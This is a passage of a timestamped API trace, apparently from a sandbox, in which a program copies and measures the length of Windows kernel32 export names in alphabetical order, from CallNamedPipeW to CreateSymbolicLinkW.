(lpString="CALLNAMEDPIPEW") returned 14 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0130.490] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0130.490] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0130.490] lstrlenA (lpString="CANCELIO") returned 8 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0130.490] lstrlenA (lpString="CANCELIOEX") returned 10 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0130.490] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0130.490] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0130.490] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0130.490] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0130.490] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0130.490] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0130.490] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0130.490] lstrlenA (lpString="CHECKELEVATION") returned 14 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0130.490] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0130.491] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0130.491] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0130.491] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0130.491] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0130.491] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0130.491] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0130.491] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0130.491] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0130.491] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0130.491] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0130.491] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0130.491] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0130.491] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0130.491] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0130.491] lstrlenA (lpString="CLOSESTATE") returned 10 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0130.491] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0130.491] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0130.492] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0130.492] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0130.492] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0130.492] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0130.492] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0130.492] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0130.492] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0130.492] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0130.492] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0130.492] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0130.492] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0130.492] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0130.493] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0130.493] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0130.493] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0130.493] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0130.493] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0130.493] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0130.493] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0130.493] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0130.493] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0130.493] lstrlenA (lpString="COPYCONTEXT") returned 11 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0130.493] lstrlenA (lpString="COPYFILE2") returned 9 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0130.493] lstrlenA (lpString="COPYFILEA") returned 9 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0130.493] lstrlenA (lpString="COPYFILEEXA") returned 11 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0130.493] lstrlenA (lpString="COPYFILEEXW") returned 11 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0130.493] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0130.493] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0130.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0130.494] lstrlenA (lpString="COPYFILEW") returned 9 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0130.494] lstrlenA (lpString="COPYLZFILE") returned 10 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0130.494] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0130.494] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0130.494] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0130.494] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0130.494] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0130.494] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0130.494] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0130.494] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0130.494] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0130.494] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0130.494] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0130.494] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0130.494] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0130.494] lstrlenA (lpString="CREATEEVENTA") returned 12 [0130.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0130.494] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0130.495] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0130.495] lstrlenA (lpString="CREATEEVENTW") returned 12 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0130.495] lstrlenA (lpString="CREATEFIBER") returned 11 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0130.495] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0130.495] lstrlenA (lpString="CREATEFILE2") returned 11 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0130.495] lstrlenA (lpString="CREATEFILEA") returned 11 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0130.495] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0130.495] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0130.495] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0130.495] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0130.495] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0130.495] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0130.495] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0130.495] lstrlenA (lpString="CREATEFILEW") returned 11 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0130.495] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0130.495] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0130.495] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0130.496] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0130.496] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0130.496] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0130.496] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0130.496] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0130.496] lstrlenA (lpString="CREATEJOBSET") returned 12 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0130.496] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0130.496] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0130.496] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0130.496] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0130.496] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0130.496] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0130.496] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0130.496] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0130.496] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0130.496] lstrlenA (lpString="CREATEPIPE") returned 10 [0130.496] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0130.497] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0130.497] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0130.497] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0130.497] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0130.497] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0130.497] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0130.497] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0130.497] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0130.497] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0130.497] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0130.497] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0130.497] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0130.497] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0130.497] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0130.497] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0130.497] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0130.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0130.498] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0130.498] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: 